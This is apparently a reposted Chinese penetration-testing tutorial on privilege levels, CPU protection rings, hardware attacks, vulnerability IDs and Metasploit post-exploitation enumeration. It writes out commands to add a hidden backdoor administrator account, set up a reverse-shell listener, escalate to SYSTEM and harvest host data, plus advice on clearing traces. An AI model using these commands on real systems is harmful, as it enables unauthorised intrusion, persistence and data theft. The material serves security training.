文章目录
- 前言
- 系统权限体系
-
- Windows权限层级
-
- 权限等级划分
- 各权限特点详解
- 权限实战应用
- 权限等级划分
- Linux权限体系
-
- 权限结构
- 权限查看
- 权限结构
- 虚拟机环境配置
- CPU保护环机制
-
- Ring架构概述
- Ring 0(内核态)
- Ring 3(用户态)
- 硬件黑客技术
-
- BadUSB攻击
- USB Killer(烧鹅)
- 高级侧信道攻击
- BadUSB攻击
- 漏洞编号体系
-
- Microsoft漏洞编号(MS)
- CVE漏洞编号
- CNNVD漏洞编号
- 漏洞研究资源
- GitHub技术积累
-
- 账号建设价值
- 技术搜索技巧
- 开源贡献建议
- 后渗透信息收集
-
- MSF信息收集模块
-
- 环境准备
- 核心收集命令
-
- 1. 虚拟机检测
* 2. 服务枚举
* 3. 应用程序枚举
* 4. 最近活动
* 5. 共享枚举
* 6. 补丁信息
* 7. 环境变量收集
- 1. 虚拟机检测
- 环境准备
- 数据存储位置
- 权限不足处理
- 信息收集最佳实践
-
- 收集顺序
- 数据分析思路
- 收集顺序
- 脚本资源利用
-
- MSF脚本库
- 自定义脚本开发
- 实践任务与技能提升
-
- 基础任务
- 进阶挑战
- 学习资源
- 总结
-
- 核心能力
- 技术发展路径
- 职业素养
- 最后寄语
前言
在渗透测试领域,理解系统权限层级和掌握信息收集技术是成功的关键。从操作系统权限到CPU保护环,从漏洞编号体系到后渗透信息收集,本文将系统介绍这些核心知识,帮助读者建立完整的安全技术思维框架。
学习动力与职业信仰:技术学习是枯燥的,但坚持下来的人才能成为真正的专家。选择网络安全不应只为高薪,而要有真正做好这件事的决心。从AI发展趋势看,运维可能被替代,但安全技术将越来越重要。
系统权限体系
Windows权限层级
权限等级划分
Windows权限金字塔:
1SYSTEM (系统最高权限) 2 ↓ 3Debug (调试权限) 4 ↓ 5Administrator (管理员权限) 6 ↓ 7Standard User (标准用户) 8 ↓ 9Guest (来宾用户) 10
各权限特点详解
1. SYSTEM权限
- 本质:操作系统内核级权限
- 特点:
- 高于管理员权限
- 系统服务运行权限
- 可以访问任何资源
- 无法被杀毒软件拦截
- 查看方式:
1右键任务栏 → 任务管理器 → 详细信息查看用户名列:SYSTEM
- 使用场景:
- 系统底层服务
- 内核驱动程序
- 安全软件核心模块
2. Debug权限
- 本质:调试权限
- 特点:
- 可以调试其他进程
- 读取其他进程内存
- 注入代码到进程
- 使用场景:
- 程序调试
- 逆向工程
- 进程注入
3. Administrator权限
- 本质:管理员权限
- 特点:
- 系统自带的最高用户权限
- 可以安装软件
- 可以修改系统设置
- 管理其他用户
- 限制:
- 无法直接操作某些系统文件
- 某些操作需要UAC确认
- 低于SYSTEM权限
4. 普通用户权限
- 新购电脑默认权限
- 受限的文件访问
- 需要管理员授权才能安装软件
权限实战应用
入侵后的权限策略:
11. 获得普通用户权限 2 ↓ 32. 提权到Administrator 4 ↓ 53. 进一步提升到SYSTEM 6 ↓ 74. 完全控制目标系统 8
添加后门用户:
1# 创建新用户 2net user hacker Password123! /add 3 4# 添加到管理员组 5net localgroup administrators hacker /add 6 7# 隐藏用户(高级技巧) 8# 通过注册表修改使其不在登录界面显示 9
Linux权限体系
权限结构
Linux权限模型:
1root (超级用户 UID=0) 2 ↓ 3系统用户 (UID 1-999) 4 ↓ 5普通用户 (UID ≥1000) 6
提权标准: 在Linux系统中,渗透测试以获得root权限为最终目标。
权限查看
1# 查看当前用户 2whoami 3 4# 查看用户ID 5id 6 7# 查看sudo权限 8sudo -l 9 10# 查看进程权限 11ps aux 12
虚拟机环境配置
快照管理策略:
11. 安装完操作系统 → 快照1 22. 配置网络和基础工具 → 快照2 33. 关闭防火墙和杀软 → 快照3(实验基础环境) 44. 每次实验前恢复到快照3 5
理想实验环境特征:
- Administrator权限无密码
- 防火墙关闭
- Windows Defender关闭
- 自动更新关闭
- 网络配置为桥接模式
CPU保护环机制
Ring架构概述
Intel CPU保护环:
1Ring 0 (内核模式) 2 ↓ 3Ring 1 (驱动层,很少使用) 4 ↓ 5Ring 2 (驱动层,很少使用) 6 ↓ 7Ring 3 (用户模式) 8
实际使用的两个环:
- Ring 0:内核和驱动程序
- Ring 3:应用程序
Ring 0(内核态)
权限特点:
- 可以执行所有指令
- 可以访问所有内存
- 可以控制所有硬件
- 操作系统内核运行在此层
运行组件:
- 操作系统内核
- 硬件驱动程序
- 安全软件核心模块
- 虚拟化监控器
开发工具:
- Windows DDK(Driver Development Kit)
- 驱动开发包
- 难度极高
- 需要深厚的系统底层知识
应用场景:
1USB新硬件识别 2 ↓ 3Windows调用Ring 0权限 4 ↓ 5加载设备驱动 6 ↓ 7识别并初始化硬件 8
高级应用:
- 键盘钩子(记录键盘输入)
- 文件系统过滤(杀毒软件)
- 网络数据包拦截(防火墙)
- Rootkit(隐藏恶意软件)
Ring 3(用户态)
权限特点:
- 受限的指令集
- 受保护的内存访问
- 需要系统调用访问硬件
- 大部分软件运行在此层
运行组件:
- 普通应用程序(QQ、浏览器)
- 游戏软件
- 办公软件
- 开发工具
开发工具:
- Windows SDK(Software Development Kit)
- 软件开发接口
- 足以开发所有用户态软件
- 相对容易学习
硬件黑客技术
BadUSB攻击
原理:
1伪装成U盘的USB设备 2 ↓ 3实际是带有恶意固件的驱动程序 4 ↓ 5插入后利用Ring 0权限 6 ↓ 7关闭杀毒软件 8 ↓ 9执行恶意命令 10
防御困难点:
- 操作系统无法区分真假USB
- 利用合法的驱动加载机制
- 在杀毒软件启动前执行
USB Killer(烧鹅)
原理:
1USB接口连接高压电容 2 ↓ 3充电宝给电容充电 4 ↓ 5插入目标计算机 6 ↓ 7瞬间释放高压 8 ↓ 9击穿主板芯片 10
物理破坏:
- 不可逆的硬件损坏
- 主板报废
- 数据无法恢复
高级侧信道攻击
屏幕信息还原:
- 捕捉屏幕闪烁频率
- 分析电磁辐射
- 还原屏幕显示内容
风扇转速窃密:
- 在服务器风扇旁放置传感器
- 分析风扇转速变化
- 还原CPU运算信息
光学窃听:
- 激光照射窗户
- 检测玻璃振动
- 还原室内对话
漏洞编号体系
Microsoft漏洞编号(MS)
格式:MS[年份]-[编号]
示例:
- MS17-010:2017年第010号漏洞(永恒之蓝)
- MS14-058:2014年第058号漏洞(32位提权)
- MS16-016:2016年第016号漏洞(提权漏洞)
入选标准:
- 对微软产品危害极大
- 影响范围广
- 可远程利用
特点: 微软官方确认并分配编号,修复补丁会使用KB编号。
CVE漏洞编号
格式:CVE-[年份]-[编号]
示例:
- CVE-2017-0144:永恒之蓝的CVE编号
- CVE-2014-6271:Shellshock漏洞
- CVE-2021-44228:Log4j漏洞
特点:
- Common Vulnerabilities and Exposures(通用漏洞披露)
- 国际通用标准
- 由MITRE维护
- 入选标准极高
入选要求:
- 杀伤力大
- 影响广泛
- 独立可验证
- 已被确认
CNNVD漏洞编号
格式:CNNVD-[年份]-[编号]
示例:
- CNNVD-2017-02445
- CNNVD-2021-30442
特点:
- China National Vulnerability Database(中国国家信息安全漏洞库)
- 国内标准
- 提交门槛相对较低
- 部分内容来自CVE
适用场景:
- 国内漏洞提交
- SRC(安全应急响应中心)
- 漏洞赏金计划
- 安全研究积累
漏洞研究资源
GitHub搜索关键词:
1windows exploit 2linux privilege escalation 3windows elevation 4kernel exploit 5CVE-2023-xxxxx 60day exploit 7
推荐仓库类型:
- 漏洞POC(概念验证代码)
- 提权工具集合
- 漏洞利用框架
- 安全研究论文
学习路径:
11. 搜索漏洞关键词 22. 阅读漏洞描述和原理 33. 分析POC代码 44. 在虚拟机中复现 55. 理解修复方案 6
GitHub技术积累
账号建设价值
个人品牌建立:
1注册GitHub账号 2 ↓ 3学习开源项目 4 ↓ 5提交自己的代码 6 ↓ 7积累技术作品 8 ↓ 9获得大佬关注 10 ↓ 11收到招聘邀约 12
作品类型建议:
- 安全工具:漏洞扫描器、提权脚本
- Web项目:个人博客、安全平台
- 攻击载荷:自定义Payload生成器
- 学习笔记:技术博客、漏洞分析
技术搜索技巧
英文搜索优先:
1优先使用:windows exploit python payload 2避免使用:windows 漏洞 python 攻击载荷 3
原因:
- 国外技术更新快
- 避免抄袭内容
- 学习国际标准
- 接触前沿技术
搜索场景区分:
1全球通用需求 → 英文搜索 2中国特色需求 → 中文搜索 3毕业设计参考 → 英文搜索 4技术文档 → 英文搜索 5
搜索组合示例:
1windows privilege escalation github 2linux kernel exploit poc 3web vulnerability scanner python 4penetration testing tools 5
开源贡献建议
初学者起步:
- Fork优秀项目
- 修复小bug
- 完善文档
- 添加中文注释
- 提交Pull Request
进阶贡献:
- 开发独立工具
- 发布漏洞POC
- 编写技术教程
- 维护安全项目
后渗透信息收集
MSF信息收集模块
环境准备
1# 启动MSF 2msfconsole 3 4# 配置监听器 5use exploit/multi/handler 6set payload windows/x64/meterpreter/reverse_tcp 7set lhost 192.168.87.135 8set lport 4444 9exploit 10 11# 等待目标执行木马 12# 获得Meterpreter会话 13
核心收集命令
1. 虚拟机检测
1run post/windows/gather/checkvm 2
目的:
- 判断是否为虚拟机
- 识别虚拟化平台(VMware、VirtualBox、Hyper-V)
- 评估目标价值
输出示例:
1[*] Checking if target is a Virtual Machine... 2[*] This is a VMware Virtual Machine 3
战略意义:
1物理机 → 高价值目标 → 可能控制多台虚拟机 2虚拟机 → 可能是蜜罐 → 谨慎操作,考虑退出 3
2. 服务枚举
1run post/windows/gather/enum_services 2
收集信息:
- 所有已安装服务
- 服务状态(运行/停止)
- 启动类型(自动/手动/禁用)
- 服务路径和描述
分析要点:
1VMwareTools → 确认虚拟机 2MySQL/MSSQL → 数据库服务器 3Apache/IIS → Web服务器 4Backup Service → 备份服务器 5
价值判断:
- 服务路径暴露敏感目录
- 判断服务器用途
- 发现可利用的服务
3. 应用程序枚举
1run post/windows/gather/enum_applications 2
收集信息:
- 已安装软件列表
- 软件版本号
- 安装路径
- 安装时间
关键信息分析:
1JDK → Java开发环境 → 可能存在Java应用 2VC++ Runtime → C++程序依赖 3WinRAR → 可利用压缩包漏洞 4Office → 可利用宏漏洞 5
漏洞利用思路:
- 旧版本软件 → 搜索已知漏洞
- 开发环境 → 存在源代码
- 解压软件 → 构造恶意压缩包
4. 最近活动
1run post/windows/gather/dumplinks 2
收集信息:
- 最近打开的文件
- 访问的网站
- 使用的程序
- 操作时间线
用途:
- 了解用户行为习惯
- 发现敏感文档
- 确定工作内容
- 寻找横向移动机会
输出位置:
1/root/.msf4/loot/ 2
5. 共享枚举
1run post/windows/gather/enum_shares 2
收集信息:
- 共享文件夹列表
- 共享权限设置
- 访问路径
内网渗透价值:
1发现共享 → 访问其他主机文件 2无密码共享 → 直接横向移动 3管理共享(C$) → 完全访问权限 4
6. 补丁信息
1run post/windows/gather/enum_patches 2
收集信息:
- 已安装补丁列表(KB编号)
- 安装时间
- 补丁描述
安全评估:
1缺少关键补丁 → 可利用已知漏洞 2长期未更新 → 多个漏洞可用 3最近补丁 → 可能修复了我们计划利用的漏洞 4
漏洞利用流程:
11. 获取补丁列表 22. 对比已知漏洞补丁 33. 查找未修复漏洞 44. 利用对应Exploit 55. 进一步提权 6
7. 环境变量收集
1run winenum 2
收集信息:
- 系统环境变量
- 用户环境变量
- PATH路径
- 临时目录位置
价值分析:
1PATH变量 → 已安装软件位置 2TEMP → 临时文件存储 3自定义变量 → 特殊软件配置 4
复杂环境的应用:
- 企业定制软件路径
- 开发环境配置
- 数据库连接字符串(不当配置)
数据存储位置
报告存储目录:
1cd /root/.msf4/loot/ 2ls -la 3
查看隐藏文件:
1文件管理器 → View → Show Hidden Files 2
Linux隐藏文件规则: 以 . 开头的文件和目录为隐藏。
权限不足处理
问题现象:
1[!] Not currently running as SYSTEM 2[!] Some data could not be collected 3
解决方案:
1# 提权到SYSTEM 2getsystem 3 4# 验证权限 5getuid 6# 输出:NT AUTHORITY\SYSTEM 7 8# 重新运行收集命令 9run post/windows/gather/enum_patches 10
信息收集最佳实践
收集顺序
11. checkvm → 确认目标类型 22. getsystem → 提升权限 33. enum_patches → 评估安全状态 44. enum_services → 判断服务器用途 55. enum_applications → 寻找软件漏洞 66. dumplinks → 了解用户行为 77. enum_shares → 内网渗透准备 88. winenum → 深入环境分析 9
数据分析思路
1. 目标价值评估:
1物理机 > 虚拟机宿主 > 普通虚拟机 > 蜜罐 2
2. 攻击路径规划:
1发现未打补丁 → 利用提权漏洞 2发现旧版软件 → 搜索CVE 3发现共享目录 → 横向移动 4发现敏感文件 → 数据窃取 5
3. 风险评估:
1蜜罐特征: 2- 过于完美的漏洞环境 3- 异常的日志记录 4- 诱饵文件 5- 监控进程 6 7应对策略: 8- 迅速收集信息 9- 避免破坏性操作 10- 清理痕迹 11- 及时退出 12
脚本资源利用
MSF脚本库
脚本位置:
1/usr/share/metasploit-framework/scripts/ 2
目录结构:
1scripts/ 2├── resource/ # 资源脚本 3├── shell/ # Shell脚本 4├── meterpreter/ # Meterpreter脚本 5└── ... 6
脚本语言:
- 主要使用Ruby语言
- 部分Python脚本
- Bash脚本辅助
使用方式:
1# 在Meterpreter中 2run [脚本路径] 3 4# 示例 5run post/windows/gather/checkvm 6
自定义脚本开发
学习路径:
- 阅读现有脚本源码
- 理解MSF API
- 学习Ruby基础
- 编写自己的模块
脚本类型:
- Auxiliary:辅助模块(扫描、信息收集)
- Post:后渗透模块
- Exploit:漏洞利用模块
- Payload:攻击载荷
实践任务与技能提升
基础任务
- GitHub账号建设
- 注册GitHub账号
- Fork安全相关项目
- 提交第一个代码仓库
- 编写README文档
- 漏洞研究
- 搜索Windows提权漏洞
- 分析漏洞原理
- 复现POC代码
- 编写利用脚本
- 信息收集实战
- 搭建实验环境
- 执行所有收集命令
- 分析收集结果
- 编写分析报告
进阶挑战
- 权限提升链
1普通用户 → Administrator → SYSTEM
练习完整的提权流程 2. 自动化脚本
- 编写自动化信息收集脚本
- 集成多个收集模块
- 生成HTML格式报告
- 内网渗透
- 搭建多台虚拟机网络
- 从一台机器跳转到另一台
- 实现完整的横向移动
学习资源
技术社区:
- GitHub - 代码学习
- Stack Overflow - 问题解答
- Reddit (r/netsec) - 技术讨论
漏洞平台:
- Exploit-DB
- CVE Details
- 国家信息安全漏洞库
实战平台:
- HackTheBox
- TryHackMe
- VulnHub
总结
系统权限和信息收集是渗透测试的基础,掌握这些知识需要:
核心能力
- 权限体系理解:
- Windows/Linux权限层级
- CPU保护环机制
- 提权的目标和方法
- 漏洞编号识别:
- MS/CVE/CNNVD编号规则
- 快速查找漏洞信息
- 评估漏洞危害程度
- 信息收集技能:
- MSF后渗透模块使用
- 数据分析和价值判断
- 攻击路径规划
技术发展路径
1基础知识学习 2 ↓ 3虚拟机环境实验 4 ↓ 5GitHub技术积累 6 ↓ 7漏洞研究和复现 8 ↓ 9自动化工具开发 10 ↓ 11实战项目经验 12
职业素养
学习态度:
- 接受技术学习的枯燥性
- 抵制中途的诱惑
- 保持长期的专注
技术信仰:
- 明确学习目标
- 坚持技术路线
- 用编程实现想法
AI时代的安全:
- 运维可能被AI替代
- 安全技术难以替代
- 持续学习保持竞争力
最后寄语
技术的学习从来不是一蹴而就的,需要持续的积累和实践。从基础的权限理解到复杂的系统底层,从简单的信息收集到深入的漏洞利用,每一步都需要扎实的基础和耐心的钻研。
选择了网络安全这条路,就要有做好长期学习的准备。不要被暂时的困难吓倒,也不要被其他方向的诱惑迷惑。坚持下去,你会发现这个领域的魅力和价值。
重要声明:本文所有内容仅供学习和合法授权的安全测试使用。任何未经授权的渗透测试和攻击行为都是违法的,将承担相应法律责任。在学习过程中,请使用虚拟机隔离环境,切勿在生产环境或他人系统上进行测试。
《系统权限与信息收集:从CPU架构到后渗透实战的完整技术体系》 是转载文章,点击查看原文。
